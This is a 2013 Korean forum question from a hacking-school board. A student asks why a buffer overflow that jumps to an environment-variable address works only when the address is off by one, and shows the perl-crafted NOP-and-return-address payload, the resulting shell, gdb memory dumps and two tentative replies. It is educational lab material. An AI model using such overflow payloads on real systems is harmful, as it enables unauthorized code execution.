시스템 해킹

 1576, 1/79 회원가입  로그인  
   bmc12
   환경 변수의 주소를 이용한 BOF공격에 관하여 질문드려요

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1678 [복사]


제가 궁금한건 getenv EGG로 알아낸 EGG환경 변수의 주소를 그대로 썼을 땐 세그폴이 발생하고

getenv EGG로 알아낸 EGG환경 변수의 주소에서 -1을 한 주소를 썼을 땐 세그폴이 발생하지않고 공격이 성공했습니다.

왜 이런 건지 설명해주시면 정말 감사하겠습니다.


[student@BOF student]$ ./getenv EGG
0xbffffea8
[student@BOF student]$ ./vv `perl -e print'"\x90"x8,"\xa8\xfe\xff\xbf"'`        Segmentation fault (core dumped)
[student@BOF student]$ ./vv `perl -e print'"\x90"x8,"\xa7\xfe\xff\xbf"'`
bash$

gdb로 0xbffffea8과 0xbffffea7주소에 먼가 있는지 봤지만 잘 모르겠습니다..

(gdb) x/s 0xbffffea8
0xbffffea8:      "1;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;3"...
(gdb) x/s 0xbffffea7
0xbffffea7:      "01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;"...


-getenv.c-
int main(int argc,char *argv[])

{

        printf("%x\n",getenv(argv[1]));
}


  Hit : 4410     Date : 2013/05/26 06:50



    
별빛을담아 0xbffffea8: "1;32:*.exe=01;3~~~~~~
0xbffffea7: "01;32:*.exe=01;3~~~~~

내용을 보면 맨 앞에 한 글자가 짤렸네요... 왜 짤렸는지는 모르겠지만요....
아마도 0을 Null로 착각하고 짤라낸 것 같습니다.
2013/05/28  
bmc12 근데 그 뒤에도 0은 여러번 나오는데 왜 앞에 0만 NULL로 받아들인 걸까요..?

2013/05/29